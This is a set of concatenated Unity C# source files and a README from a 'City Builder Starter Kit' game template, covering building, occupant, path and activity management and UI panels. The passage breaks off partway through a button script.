int cost = ((int)Mathf.Max(1, (float)(ActiveBuilding.CurrentActivity.RemainingTime.TotalSeconds + 1) / (float)BuildingManager.GOLD_TO_SECONDS_RATIO));
if (ResourceManager.Instance.Gold >= cost)
{
ResourceManager.Instance.RemoveGold(cost);
if (ActiveBuilding.CurrentActivity.Type == ActivityType.BUILD)
{
ActiveBuilding.CompleteBuild();
AcknowledgeBuilding(ActiveBuilding);
}
else
{
ActiveBuilding.SpeedUp();
}
}
else
{
return false;
}
return true;
}
/**
* Acknowledge building changing it from READY
* to BUILT.
*/
virtual public bool AcknowledgeBuilding(Building building)
{
if (building.State == BuildingState.READY)
{
building.Acknowledge();
buildings.Add(building.uid, building);
buildingsInProgress.Remove(building);
ResourceManager.Instance.AddXp(GetXpForBuildingBuilding(building));
if ((int)saveMode < (int)SaveMode.SAVE_NEVER) PersistenceManager.GetInstance().Save();
return true;
}
return false;
}
/**
* Sell building.
*
* Returns true if successful.
*/
virtual public bool SellBuilding(Building building, bool fullRefund = false)
{
if (buildings.ContainsKey(building.uid)) buildings.Remove(building.uid);
ResourceManager.Instance.AddResources(fullRefund ? building.Type.cost : (int)(building.Type.cost * RECLAIM_PERCENTAGE));
if (building.Type.additionalCosts != null)
{
foreach (CustomResource cost in building.Type.additionalCosts)
{
ResourceManager.Instance.AddCustomResource(cost.id, fullRefund ? cost.amount : (int)(cost.amount * RECLAIM_PERCENTAGE));
}
}
if (building.State != BuildingState.PLACING && building.State != BuildingState.PLACING_INVALID)
BuildingModeGrid.GetInstance().RemoveObject(building);
if (ActiveBuilding == building) ActiveBuilding = null;
Destroy(building.gameObject);
if ((int)saveMode < (int)SaveMode.SAVE_NEVER) PersistenceManager.GetInstance().Save();
return true;
}
/**
* Sells building for gold.
*
* Returns true if successful.
*/
virtual public bool SellBuildingForGold(Building building)
{
if (buildings.ContainsKey(building.uid)) buildings.Remove(building.uid);
ResourceManager.Instance.AddGold((int)Mathf.Max(1.0f, (int)(building.Type.cost * GOLD_SELL_PERCENTAGE)));
BuildingModeGrid.GetInstance().RemoveObject(building);
if (ActiveBuilding == building) ActiveBuilding = null;
Destroy(building.gameObject);
if ((int)saveMode < (int)SaveMode.SAVE_NEVER) PersistenceManager.GetInstance().Save();
return true;
}
/**
* Clear an obstacle.
*
* Returns true if successful.
*/
virtual public bool ClearObstacle(Building building)
{
if (buildings.ContainsKey(building.uid)) buildings.Remove(building.uid);
switch (building.Type.generationType)
{
// TODO Special cases
case RewardType.RESOURCE:
ResourceManager.Instance.AddResources(building.Type.generationAmount);
break;
case RewardType.GOLD:
ResourceManager.Instance.AddGold(building.Type.generationAmount);
break;
}
BuildingModeGrid.GetInstance().RemoveObject(building);
if (ActiveBuilding == building) ActiveBuilding = null;
Destroy(building.gameObject);
if ((int)saveMode < (int)SaveMode.SAVE_NEVER) PersistenceManager.GetInstance().Save();
return true;
}
/**
* Create an Obstacle in the scene (generally used on first load).
*/
virtual protected void CreateObstacle(string buildingTypeId, GridPosition pos)
{
if (!types.ContainsKey(buildingTypeId))
{
Debug.LogWarning("Tried to create an obstacle with an invalid ID");
return;
}
BuildingTypeData type = types[buildingTypeId];
if (!type.isObstacle)
{
Debug.LogError("Tried to create an obstacle with non-obstacle building data");
return;
}
GameObject go = (GameObject)Instantiate(buildingPrefab);
go.transform.parent = gameView.transform;
Building obstacle = go.GetComponent<Building>();
obstacle.Init(type, pos);
//If we are in 2D mode, setup 2D options
if (gameCamera.orthographic)
{
go.GetComponentInChildren<Canvas>().worldCamera = Camera.main;
go.AddComponent<BoxCollider2D>();
}
BuildingModeGrid.GetInstance().AddObjectAtPosition(obstacle, pos);
buildings.Add(obstacle.uid, obstacle);
obstacle.Acknowledge();
if ((int)saveMode < (int)SaveMode.SAVE_MOSTLY) PersistenceManager.GetInstance().Save();
}
/**
* Add a building to the list (for example for paths or if you have other custom builders).
*/
virtual public void AddBuilding(Building building)
{
buildings.Add(building.uid, building);
}
/**
* Remove a building from the list (for example for paths or if you have other custom builders).
*/
virtual public void RemoveBuilding(Building building)
{
buildings.Remove(building.uid);
}
/**
* Building currently being placed/moved/interacted with.
*/
protected static Building _activeBuilding;
public static Building ActiveBuilding
{
get { return _activeBuilding; }
set
{
// Make sure we cancel any moving if we click another bulding
if (_activeBuilding != null && _activeBuilding.State == BuildingState.MOVING)
{
_activeBuilding.ResetPosition();
_activeBuilding.FinishMoving();
}
_activeBuilding = value;
}
}
/**
* Gets built and in progress building state for use by the save game system.
*/
virtual public List<BuildingData> GetSaveData()
{
List<BuildingData> dataToSave = new List<BuildingData>();
dataToSave.AddRange(buildingsInProgress.Select(b => b.BuildingData).ToList());
dataToSave.AddRange(buildings.Values.Select(b => b.BuildingData).ToList());
return dataToSave;
}
/// <summary>
/// Gets the xp for building the provided building.
/// </summary>
/// <returns>The xp for building building.</returns>
/// <param name="building">Building.</param>
virtual public int GetXpForBuildingBuilding(Building building)
{
return (building.Type.level + 1) * building.Type.cost;
}
}
}<file_sep>/CityBuilderStarterKit/Scripts/Engine/Occupants/OccupantManager.cs
using UnityEngine;
using System;
using System.Collections;
using System.Collections.Generic;
using System.Linq;
/**
* Manages things inside a building. Occupants are stored as part of the building but the type data is managed from here.
* This class also tracks references to the individual occupants to allow for easy management/searching/etc.
*/
namespace CBSK
{
public class OccupantManager : Manager<OccupantManager>
{
/**
* A list of data files (resources) containing building data
*/
public List<string> occupantDataFiles;
/**
* Occupant types mapped to ids.
*/
private Dictionary<string, OccupantTypeData> types;
/**
* Loader for loading the data.
*/
private Loader<OccupantTypeData> loader;
/**
* Individual Occupants mapped to ids.
*/
private Dictionary<string, OccupantData> occupants;
/**
* Initialise the instance.
*/
override protected void Init()
{
types = new Dictionary<string, OccupantTypeData>();
occupants = new Dictionary<string, OccupantData>();
if (occupantDataFiles != null)
{
foreach (string dataFile in occupantDataFiles)
{
LoadOccupantDataFromResource(dataFile, false);
}
}
initialised = true;
}
/**
* Get a list of each occupant type.
*/
public List<OccupantTypeData> GetAllOccupantTypes()
{
return types.Values.ToList();
}
/**
* Get a list of all occupants.
*/
public List<OccupantData> GetAllOccupants()
{
return occupants.Values.ToList();
}
/**
* Get occupant with given id, or returns null if not found.
*/
public OccupantData GetOccupant(string id)
{
if (occupants.ContainsKey(id)) return occupants[id];
return null;
}
/**
* Load the building type data from the given resource.
*
* @param dataFile Name of the resource to load data from.
* @param skipDuplicates If false throw an exception if a duplicate is found.
*/
public void LoadOccupantDataFromResource(string dataFile, bool skipDuplicates)
{
if (loader == null) loader = new Loader<OccupantTypeData>();
List<OccupantTypeData> data = loader.Load(dataFile);
foreach (OccupantTypeData type in data)
{
try
{
types.Add(type.id, type);
}
catch (Exception ex)
{
if (!skipDuplicates) throw ex;
}
}
}
/**
* Return the type data for the given building id. Returns null if the building type is not found.
*/
public OccupantTypeData GetOccupantTypeData(string id)
{
if (types.ContainsKey(id))
{
return types[id];
}
return null;
}
/**
* Return true if the player has at least one occupant of the given type.
*/
public bool PlayerHasOccupant(string id)
{
if (occupants.Values.Where(b => b.Type.id == id).Count() > 0) return true;
return false;
}
/**
* Return true if player can build the given occupant. Excludes
* resource costs as we can pop up an IAP purchase window here.
*/
public bool CanRecruitOccupant(string occupantTypeId)
{
if (types[occupantTypeId].level > ResourceManager.Instance.Level) return false;
foreach (string id in types[occupantTypeId].requireIds)
{
if (!PlayerHasOccupant(id) && !BuildingManager.GetInstance().PlayerHasBuilding(id)) return false;
}
return true;
}
/**
* Returns true if the given building type (defined by id) can recruit any kind of occupant.
*/
public bool CanBuildingRecruit(string buildingTypeId)
{
if (types.Values.Where(t => t.recruitFromIds.Contains(buildingTypeId)).Count() > 0) return true;
return false;
}
/**
* Returns true if the given building type (defined by id) can house any kind of occupant.
*/
public bool CanBuildingHoldOccupants(string buildingTypeId)
{
if (types.Values.Where(t => t.housingIds.Contains(buildingTypeId)).Count() > 0) return true;
return false;
}
/**
* Returns true if the given building type (defined by id) can house the given occupant id.
*/
public bool CanBuildingHoldOccupant(string buildingTypeId, string occupantTypeId)
{
if (types.ContainsKey(occupantTypeId) && types[occupantTypeId].housingIds.Contains(buildingTypeId)) return true;
return false;
}
/**
* Recruited an occupant.
*/
public void RecruitedOccupant(OccupantData data)
{
occupants.Add(data.uid, data);
}
/**
* Dismiss an occupant by ID, search all building to ensure they are removed. This should
* only be used when the occupant cant be dismissed at the building level as it is more expensive.
*/
public void DismissOccupant(string id)
{
if (occupants.ContainsKey(id))
{
OccupantData data = occupants[id];
List<Building> buildings = BuildingManager.GetInstance().GetAllBuildings();
foreach (Building b in buildings)
{
if (b.Occupants != null && b.Occupants.Contains(data))
{
b.DismissOccupant(data);
break;
}
}
}
}
/**
* Called when a bulding dismissed an occupant.
*/
public void DismissedOccupant(OccupantData data)
{
if (data != null && occupants.ContainsKey(data.uid))
{
occupants.Remove(data.uid);
}
else
{
Debug.LogWarning("Dismissed an occupant that wasn't found");
}
}
}
}<file_sep>/CityBuilderStarterKit/Scripts/Engine/Paths/PathManager.cs
using UnityEngine;
using System.Collections;
using System.Collections.Generic;
using System.Linq;
/**
* Provides convenience functions for working with paths
*/
namespace CBSK
{
public class PathManager : Manager<PathManager>
{
/**
* Prefab to use when creating paths.
*/
public GameObject pathPrefab;
/**
* How often to save data.
*/
public SaveMode saveMode;
/**
* What separates sprite name from the direction flags
*/
protected const string SUFFIX = "-";
/**
* Reference to grid
*/
protected BuildingModeGrid grid;
void Start()
{
grid = BuildingModeGrid.GetInstance();
}
/**
* Place path on the grid.
*/
virtual public void SwitchPath(string buildingTypeId, Vector3 worldPosition)
{
Building building = null;
BuildingTypeData data = BuildingManager.GetInstance().GetBuildingTypeData(buildingTypeId);
GridPosition pos = grid.WorldPositionToGridPosition(worldPosition);
// If path exists remove and give resources
IGridObject gridObject = grid.GetObjectAtPosition(pos);
if (gridObject is Building && ((Building)gridObject).Type.isPath)
{
ResourceManager.Instance.AddResources(((Building)gridObject).Type.cost);
if (((Building)gridObject).Type.additionalCosts != null)
{
foreach (CustomResource cost in ((Building)gridObject).Type.additionalCosts)
{
ResourceManager.Instance.AddCustomResource(cost.id, cost.amount);
}
}
grid.RemoveObject(gridObject);
BuildingManager.GetInstance().RemoveBuilding((Building)gridObject);
Destroy(((Building)gridObject).gameObject);
}
// Add new path unless we just deleted a path of same type
if ((gridObject == null || !(gridObject is Building) || ((Building)gridObject).Type.id != buildingTypeId) &&
data.isPath && BuildingManager.GetInstance().CanBuildBuilding(buildingTypeId) &&
grid.CanObjectBePlacedAtPosition(data.shape.ToArray(), pos) &&
ResourceManager.Instance.CanBuild(data))
{
GameObject go;
go = (GameObject)Instantiate(pathPrefab);
go.transform.parent = BuildingManager.GetInstance().gameView.transform;
building = go.GetComponent<Building>();
building.Init(data, pos);
building.Acknowledge();
ResourceManager.Instance.RemoveResources(data.cost);
if (data.additionalCosts != null)
{
foreach (CustomResource cost in data.additionalCosts)
{
ResourceManager.Instance.RemoveCustomResource(cost.id, cost.amount);
}
}
grid.AddObjectAtPosition(building, pos);
BuildingManager.GetInstance().AddBuilding(building);
if ((int)saveMode == (int)SaveMode.SAVE_ALWAYS) PersistenceManager.GetInstance().Save();
}
else
{
if (BuildingManager.GetInstance().CanBuildBuilding(buildingTypeId))
{
// TODO Show info message if not enough resource
}
else
{
Debug.LogError("Tried to build unbuildable path");
}
}
UpdatePosition(pos, building);
}
/**
* Started path bulding
*/
virtual public void EnterPathMode()
{
}
/**
* Finished path bulding, make sure to save.
*/
virtual public void ExitPathMode()
{
if ((int)saveMode < (int)SaveMode.SAVE_NEVER) PersistenceManager.GetInstance().Save();
}
/**
* Create a path during loading process
*/
virtual public void CreateAndLoadPath(BuildingData data)
{
GameObject go;
go = (GameObject)Instantiate(pathPrefab);
go.transform.parent = BuildingManager.GetInstance().gameView.transform;
Building building = go.GetComponent<Building>();
building.Init(BuildingManager.GetInstance().GetBuildingTypeData(data.buildingTypeString), data);
grid.AddObjectAtPosition(building, data.position);
BuildingManager.GetInstance().AddBuilding(building);
building.Acknowledge();
UpdatePosition(data.position, building);
}
/**
* Switch a grid position to be path (or not path).
*/
virtual public void UpdatePosition(GridPosition pos, Building building)
{
List<GridPosition> positions = new List<GridPosition>();
positions.Add(pos);
positions.Add(pos + new GridPosition(1, 0));
positions.Add(pos + new GridPosition(-1, 0));
positions.Add(pos + new GridPosition(0, 1));
positions.Add(pos + new GridPosition(0, -1));
if (building != null && pos != building.Position)
{
grid.RemoveObjectAtPosition(building.Position);
positions.Add(building.Position);
positions.Add(building.Position + new GridPosition(1, 0));
positions.Add(building.Position + new GridPosition(-1, 0));
positions.Add(building.Position + new GridPosition(0, 1));
positions.Add(building.Position + new GridPosition(0, -1));
building.Position = pos;
}
UpdatePositions(positions.Distinct().ToList());
}
/**
* Update all the views for the given UI position.
*/
virtual public void UpdatePositions(List<GridPosition> positions)
{
// Not super efficient but it does the job
foreach (GridPosition pos in positions)
{
IGridObject gridObject = grid.GetObjectAtPosition(pos);
if (gridObject is Building && ((Building)gridObject).Type.isPath)
{
((Building)gridObject).gameObject.SendMessage("UI_UpdateState", SendMessageOptions.DontRequireReceiver);
}
}
}
/// <summary>
/// Gets the sprite suffix to use for a path at the given grid position.
/// </summary>
/// <returns>The sprite suffix.</returns>
/// <param name="position">Position.</param>
virtual public string GetSpriteSuffix(Building building)
{
string suffix = SUFFIX;
IGridObject gridObject = grid.GetObjectAtPosition(building.Position + new GridPosition(1, 0));
if (gridObject != building && gridObject != null && gridObject is Building && ((Building)gridObject).Type == building.Type) suffix += "N";
gridObject = grid.GetObjectAtPosition(building.Position + new GridPosition(0, -1));
if (gridObject != building && gridObject != null && gridObject is Building && ((Building)gridObject).Type == building.Type) suffix += "E";
gridObject = grid.GetObjectAtPosition(building.Position + new GridPosition(-1, 0));
if (gridObject != building && gridObject != null && gridObject is Building && ((Building)gridObject).Type == building.Type) suffix += "S";
gridObject = grid.GetObjectAtPosition(building.Position + new GridPosition(0, 1));
if (gridObject != building && gridObject != null && gridObject is Building && ((Building)gridObject).Type == building.Type) suffix += "W";
// Default to the open path
if (suffix == SUFFIX) suffix = "-NESW";
return suffix;
}
}
}<file_sep>/CityBuilderStarterKit/Scripts/UI/UISpeedUpPanel.cs
using UnityEngine;
using UnityEngine.UI;
using System.Collections;
namespace CBSK
{
/**
* Panel for speeding up an activity by paying gold.
*/
public class UISpeedUpPanel : UIGamePanel
{
public Text goldLabel;
public Image buildingSprite;
public Text timeLabel;
public Image headerSprite;
public Image headerRing;
//private Building building;
/**
* Set up the building with the given building.
*/
override public void InitialiseWithBuilding(Building building)
{
// this.building = building;
if (building.CurrentActivity != null)
{
BuildingManager.ActiveBuilding = building;
timeLabel.text = string.Format("Time Remaining: {0} minutes {1} second{2}", (int)building.CurrentActivity.RemainingTime.TotalMinutes, building.CurrentActivity.RemainingTime.Seconds, (building.CurrentActivity.RemainingTime.Seconds != 1 ? "s" : ""));
goldLabel.text = ((int)Mathf.Max(1, (float)(building.CurrentActivity.RemainingTime.TotalSeconds + 1) / (float)BuildingManager.GOLD_TO_SECONDS_RATIO)).ToString();
buildingSprite.sprite = SpriteManager.GetBuildingSprite(building.Type.spriteName);
headerSprite.sprite = SpriteManager.GetSprite(building.CurrentActivity.Type.ToString().ToLower() + "_icon");
headerRing.color = UIColor.GetColourForActivityType(building.CurrentActivity.Type);
StartCoroutine(UpdateLabels());
}
else
{
Debug.LogError("Can't speed up a building with no activity");
}
// Make sure we close if its zero
if (building.CurrentActivity.RemainingTime.Seconds < 1)
{
UIGamePanel.ShowPanel(PanelType.DEFAULT);
}
}
override public void Show()
{
if (activePanel == null || HasOpenPanelFlag(activePanel.panelType))
{
if (activePanel != null) activePanel.Hide();
StartCoroutine(DoShow());
activePanel = this;
}
}
override public void Hide()
{
StopAllCoroutines();
StartCoroutine(DoHide());
}
/**
* Update the labels as time passes.
*/
protected IEnumerator UpdateLabels()
{
while (BuildingManager.ActiveBuilding != null && BuildingManager.ActiveBuilding.CurrentActivity != null && BuildingManager.ActiveBuilding.CurrentActivity.RemainingTime.TotalSeconds > 1)
{
timeLabel.text = string.Format("Time Remaining: {0} minutes {1} second{2}", (int)BuildingManager.ActiveBuilding.CurrentActivity.RemainingTime.TotalMinutes, BuildingManager.ActiveBuilding.CurrentActivity.RemainingTime.Seconds, (BuildingManager.ActiveBuilding.CurrentActivity.RemainingTime.Seconds != 1 ? "s" : ""));
goldLabel.text = ((int)Mathf.Max(1, (float)(BuildingManager.ActiveBuilding.CurrentActivity.RemainingTime.TotalSeconds + 1) / (float)BuildingManager.GOLD_TO_SECONDS_RATIO)).ToString();
yield return true;
}
// Finished
UIGamePanel.ShowPanel(PanelType.DEFAULT);
}
new protected IEnumerator DoShow()
{
yield return new WaitForSeconds(UI_DELAY / 3.0f);
//uiGroup.alpha = 1;
//uiGroup.blocksRaycasts = true;
SetPanelActive(true);
}
new protected IEnumerator DoHide()
{
//uiGroup.alpha = 0;
//uiGroup.blocksRaycasts = false;
SetPanelActive(false);
yield return true;
}
}
}<file_sep>/CityBuilderStarterKit/Scripts/UI/UIOccupantView.cs
using UnityEngine;
using UnityEngine.UI;
using System.Collections;
using System.Collections.Generic;
namespace CBSK
{
/**
* User interface for an individual occupant view panel. Shown when
* viewing occupants.
*/
public class UIOccupantView : MonoBehaviour
{
public Text titleLabel;
public Text descriptionLabel;
public Text allowsLabel;
public Image sprite;
public Image backgroundSprite;
public DismissOccupantButton dismissButton;
/**
* Reference to the occupant data.
*/
protected OccupantData data;
/**
* Set up the occupant with the given data.
*/
public void InitialiseWithOccupant(OccupantData data, bool inProgress)
{
this.data = data;
titleLabel.text = data.Type.name;
descriptionLabel.text = data.Type.description;
sprite.sprite = SpriteManager.GetUnitSprite(data.Type.spriteName);
if (inProgress)
{
dismissButton.gameObject.SetActive(false);
}
else
{
// Check if unit in battle
Activity activity = ActivityManager.GetInstance().CheckForActivityById(data.uid);
if (activity != null)
{
// The unit is doing something, show what they are doing
// Currently only attacking is supported
if (ActivityManager.GetInstance().GetActivityData(activity.Type) is AttackActivityData)
{
dismissButton.gameObject.SetActive(true);
dismissButton.InitAsAttack(activity.PercentageComplete);
}
else
{
Debug.LogWarning("Occupant involved in an activity with no corresponding UI");
}
}
else
{
dismissButton.gameObject.SetActive(true);
dismissButton.Init(data);
}
}
}
}
}<file_sep>/README.md
get this and more at the game http://projectgames.Club
your one stop for all assets
http://projectgames.club/showthread.php?6-City-Builder-Starter-Kit
==========================================================================
Requires Unity 4.6.9 or higher.
Use the City Builder Starter Kit to create City Building games for mobile and desktop.
Included is a complete sample game with all, UI, graphics, various buildings, etc. The game is data driven with easily extensible data classes for adding your own unique behaviour.
Play the demo here: [WebGL]
Check out the videos on youtube: [Introduction]
Features
- Define building shape, name, sprite, description, cost.
- Define building occupants (like dragons in dragonvale, or even furniture if you prefer).
- Define custom building actions.
- Move and Sell Buildings.
- Stop the game and come back and progress has continued.
- Use speed-ups to build faster.
- Includes a number of fantasy styled icons, frames, and buttons, plus a sample of the assets from JNA Mobiles - Beautiful Fantasy Building asset.
- Extensible data and manager classes, add your own behaviour with only a small amount of code.
- Works on Mobile (tested on Android and iOS). Email support for an APK or TestFlight invite.
- Now includes an alternative 3D view.
- Build interconnected paths
Online play and interactive battles are not included in this starter kit.<file_sep>/CityBuilderStarterKit/Scripts/UI/TiledSprite.cs
using UnityEngine;
using System.Collections;
using System.Collections.Generic;
using System.Linq;
namespace CBSK
{
[ExecuteInEditMode]
[RequireComponent(typeof(SpriteRenderer))]
public class TiledSprite : MonoBehaviour
{
public Vector2 gridSize;
internal SpriteRenderer spriteRenderer;
private Vector2 spriteSize;
//Used for instantiation
internal GameObject newObject;
internal SpriteRenderer newSprite;
#if UNITY_EDITOR
void Awake()
{
spriteRenderer = GetComponent<SpriteRenderer>();
spriteRenderer.enabled = false;
}
void Clear()
{
var tempList = transform.Cast<Transform>().ToList();
foreach (var child in tempList)
{
DestroyImmediate(child.gameObject);
}
}
public virtual void Instantiate()
{
if (GetSpriteAlignment(spriteRenderer.sprite) != SpriteAlignment.TopLeft)
{
Debug.LogWarning(string.Format("Make sure sprite {0} has its pivot set to the top left.", spriteRenderer.sprite.name));
}
Vector2 startingPosition, worldSize;
worldSize.x = spriteRenderer.bounds.size.x;
worldSize.y = spriteRenderer.bounds.size.y;
startingPosition.x = -((worldSize.x * gridSize.x) / 2);
startingPosition.y = (worldSize.y * gridSize.y) / 2;
for (int x = 0; x < gridSize.x; x++)
{
for (int y = 0; y < gridSize.y; y++)
{
newObject = new GameObject(string.Format("{0},{1}", x, y));
newObject.hideFlags = HideFlags.HideInHierarchy;
newObject.transform.SetParent(gameObject.transform);
newObject.transform.position = new Vector3(gameObject.transform.position.x + startingPosition.x + worldSize.x * x, gameObject.transform.position.y + startingPosition.y - worldSize.y * y, gameObject.transform.position.z);
newObject.transform.localScale = Vector3.one;
newSprite = newObject.AddComponent<SpriteRenderer>();
newSprite.sprite = spriteRenderer.sprite;
newSprite.color = spriteRenderer.color;
newSprite.sortingLayerID = spriteRenderer.sortingLayerID;
newSprite.sortingOrder = spriteRenderer.sortingOrder;
}
}
}
void Update()
{
if (gameObject.transform.childCount < 1 && spriteRenderer.sprite != null && gridSize.x > 0 && gridSize.y > 0)
{
Instantiate();
}
else if (gameObject.transform.childCount > 0 && gameObject.transform.GetChild(0).GetComponent<SpriteRenderer>().sprite != spriteRenderer.sprite)
{
Clear();
Instantiate();
}
else if (gameObject.transform.childCount > 0 && gameObject.transform.childCount != gridSize.x * gridSize.y)
{
Clear();
Instantiate();
}
}
internal SpriteAlignment GetSpriteAlignment(Sprite SpriteObject)
{
//BoxCollider2D MyBoxCollider = SpriteObject.AddComponent<BoxCollider2D>();
//float colX = MyBoxCollider.center.x;
//float colY = MyBoxCollider.center.y;
float colX = SpriteObject.bounds.center.x;
float colY = SpriteObject.bounds.center.y;
if (colX > 0f && colY < 0f)
return (SpriteAlignment.TopLeft);
else if (colX < 0 && colY < 0)
return (SpriteAlignment.TopRight);
else if (colX == 0 && colY < 0)
return (SpriteAlignment.TopCenter);
else if (colX > 0 && colY == 0)
return (SpriteAlignment.LeftCenter);
else if (colX < 0 && colY == 0)
return (SpriteAlignment.RightCenter);
else if (colX > 0 && colY > 0)
return (SpriteAlignment.BottomLeft);
else if (colX < 0 && colY > 0)
return (SpriteAlignment.BottomRight);
else if (colX == 0 && colY > 0)
return (SpriteAlignment.BottomCenter);
else if (colX == 0 && colY == 0)
return (SpriteAlignment.Center);
else
return (SpriteAlignment.Custom);
}
#endif
}
}<file_sep>/CityBuilderStarterKit/Scripts/Engine/Activities/ActivityManager.cs
using UnityEngine;
using System.Collections;
using System.Collections.Generic;
using System.Linq;
/**
* Manages activity data (activity types) as well as activities that are not tied to a building.
*/
namespace CBSK
{
public class ActivityManager : Manager<ActivityManager>
{
/**
* A gameobject which will recieve messages about the view.
*/
public GameObject view;
/**
* A list of activity files (resources) to load.
*/
public List<string> activityDataFiles;
/**
* Activity types mapped to ids.
*/
private Dictionary<string, ActivityData> types;
/**
* Loader for loading the data.
*/
private Loader<ActivityData> loader;
/**
* Activities currently in progress;
*/
virtual protected List<Activity> currentActivities { get; set; }
/**
* The completed activities awaiting acknowledgement;
*/
virtual protected List<Activity> completedActivities { get; set; }
/**
* Initialise the instance.
*/
override protected void Init()
{
types = new Dictionary<string, ActivityData>();
if (activityDataFiles != null)
{
foreach (string dataFile in activityDataFiles)
{
LoadActivityDataFromResource(dataFile, false);
}
}
currentActivities = new List<Activity>();
completedActivities = new List<Activity>();
initialised = true;
}
/**
* Get a list of each building type.
*/
virtual public List<ActivityData> GetAllBuildingTypes()
{
return types.Values.ToList();
}
/**
* Load the activity type data from the given resource.
*
* @param dataFile Name of the resource to load data from.
* @param skipDuplicates If false throw an exception if a duplicate is found.
*/
virtual public void LoadActivityDataFromResource(string dataFile, bool skipDuplicates)
{
if (loader == null) loader = new Loader<ActivityData>();
List<ActivityData> data = loader.Load(dataFile);
foreach (ActivityData type in data)
{
try
{
types.Add(type.type, type);
}
catch (System.Exception ex)
{
if (!skipDuplicates) throw ex;
}
}
}
/**
* Return the data for the given activity type. Returns null if the activity type is not found.
*/
virtual public ActivityData GetActivityData(string type)
{
if (types.ContainsKey(type))
{
return types[type];
}
return null;
}
/**
* Return the data for a save game (i.e. all current and completed activity data).
*/
virtual public List<Activity> GetSaveData()
{
List<Activity> result = new List<Activity>();
result.AddRange(completedActivities);
result.AddRange(currentActivities);
return result;
}
/**
* Loads the saved game data.
*/
virtual public void Load(SaveGameData data)
{
StartCoroutine(DoLoad(data));
}
/**
* Does the loading of a saved game
*/
virtual protected IEnumerator DoLoad(SaveGameData data)
{
// Wait one frame to ensure everything is initialised
yield return true;
// Activities
if (data.activities != null)
{
foreach (Activity a in data.activities)
{
if (a.RemainingTime.TotalSeconds <= 0)
{
completedActivities.Add(a);
view.SendMessage("UI_CompleteActivity", a.Type);
}
else
{
StartCoroutine(GenericActivity(a));
}
}
}
}
/**
* Start generic activity and subtract any cost.
* Returns the activity if cost can be paid, otherwise returns null and doesn't start the activity.
*/
virtual public Activity StartActivity(string type, System.DateTime startTime, List<string> supportingIds)
{
ActivityData data = GetActivityData(type);
if (data != null && ResourceManager.Instance.Resources < data.activityCost) return null;
Activity activity = new Activity(type, data.durationInSeconds, startTime, supportingIds);
ResourceManager.Instance.RemoveResources(data.activityCost);
StartCoroutine(GenericActivity(activity));
return activity;
}
/**
* Acknowledge generic activity.
*/
virtual public void AcknowledgeActivity(Activity activity)
{
if (completedActivities.Contains(activity))
{
ActivityData data = GetActivityData(activity.Type);
if (data != null)
{
switch (data.reward)
{
case RewardType.RESOURCE:
ResourceManager.Instance.AddResources(data.rewardAmount);
break;
case RewardType.GOLD:
ResourceManager.Instance.AddGold(data.rewardAmount);
break;
case RewardType.CUSTOM_RESOURCE:
ResourceManager.Instance.AddCustomResource(data.rewardId, data.rewardAmount);
break;
case RewardType.CUSTOM:
// You need to include a custom reward handler if you use the CUSTOM RewardType
SendMessage("CustomReward", activity, SendMessageOptions.RequireReceiver);
break;
}
completedActivities.Remove(activity);
view.SendMessage("UI_AcknowledgeActivity");
ResourceManager.Instance.AddXp(GetXpForCompletingActivity(data));
if ((int)BuildingManager.GetInstance().saveMode < (int)SaveMode.SAVE_NEVER) PersistenceManager.GetInstance().Save();
}
else
{
Debug.LogError("Couldn't find data for activity: " + activity.Type);
}
}
}
/**
* Check for an activity by one of the supporting Id's and return the activity if found
* or null if not found. Note this is not a copy of the activity. Checks both current
* and completed activites.
*/
virtual public Activity CheckForActivityById(string id)
{
foreach (Activity activity in currentActivities)
{
if (activity.SupportingIds.Contains(id)) return activity;
}
foreach (Activity activity in completedActivities)
{
if (activity.SupportingIds.Contains(id)) return activity;
}
return null;
}
/**
* Find all activities which have data of a given class. Useful for finding custom activity types.
*/
virtual public List<Activity> GetActivitiesOfDataClassType(System.Type type)
{
List<Activity> result = new List<Activity>();
foreach (Activity activity in currentActivities)
{
ActivityData data = GetActivityData(activity.Type);
if (type.IsAssignableFrom(data.GetType())) result.Add(activity);
}
foreach (Activity activity in completedActivities)
{
ActivityData data = GetActivityData(activity.Type);
if (type.IsAssignableFrom(data.GetType())) result.Add(activity);
}
return result;
}
/**
* Start a generic activity.
*/
virtual protected IEnumerator GenericActivity(Activity activity)
{
currentActivities.Add(activity);
if ((int)BuildingManager.GetInstance().saveMode < (int)SaveMode.SAVE_NEVER) PersistenceManager.GetInstance().Save();
view.SendMessage("UI_StartActivity", activity, SendMessageOptions.DontRequireReceiver);
while (activity != null && activity.PercentageComplete < 1.0f)
{
view.SendMessage("UI_UpdateProgress", activity, SendMessageOptions.DontRequireReceiver);
// Check more frequently as time gets closer, but never more frequently than once per second
yield return new WaitForSeconds(Mathf.Max(1.0f, (float)activity.RemainingTime.TotalSeconds / 15.0f));
}
// If this wasn't triggered by a speed-up
if (currentActivities.Contains(activity))
{
completedActivities.Add(activity);
currentActivities.Remove(activity);
if ((int)BuildingManager.GetInstance().saveMode < (int)SaveMode.SAVE_MOSTLY) PersistenceManager.GetInstance().Save();
view.SendMessage("UI_CompleteActivity", activity.Type, SendMessageOptions.DontRequireReceiver);
}
}
/// <summary>
/// Gets the xp for completing an activity with the provided activity data.
/// </summary>
/// <returns>The xp for completing the activity.</returns>
/// <param name="activity">Activity.</param>
virtual public int GetXpForCompletingActivity(ActivityData data)
{
// Obivously pretty simple you might want to use data files or a lookup table
if (data != null)
{
return data.rewardAmount + data.durationInSeconds;
}
return 0;
}
/// <summary>
/// Gets the xp for completing the provided activity.
/// </summary>
/// <returns>The xp for completing the activity.</returns>
/// <param name="activity">Activity.</param>
virtual public int GetXpForCompletingActivity(Activity activity)
{
return GetXpForCompletingActivity(GetActivityData(activity.Type));
}
}
}<file_sep>/CityBuilderStarterKit/Scripts/UI/Buttons/CollectButton.cs
using UnityEngine;
using UnityEngine.UI;
using System.Collections;
namespace CBSK
{
/**
* Button for collecting stored resources.
*/
public class CollectButton : UIButton
{
public Text resourceLabel;
public Image icon;
public Image ring;
protected Building myBuilding;
virtual public void Init(Building building)
{
myBuilding = building;
icon.sprite = SpriteManager.GetSprite(building.Type.generationType.ToString().ToLower() + "_icon");
ring.color = UIColor.GetColourForRewardType(building.Type.generationType);
StartCoroutine(DoUpdateResourceLabel());
}
public override void Click()
{
myBuilding.Collect();
resourceLabel.text = "" + myBuilding.StoredResources;
}
/**
* Coroutine to ensure the displayed resource is up to date.
*/
private IEnumerator DoUpdateResourceLabel()
{
resourceLabel.text = "" + myBuilding.StoredResources;
while (gameObject.activeInHierarchy || myBuilding == null)
{
resourceLabel.text = "" + myBuilding.StoredResources;
// Update frequently
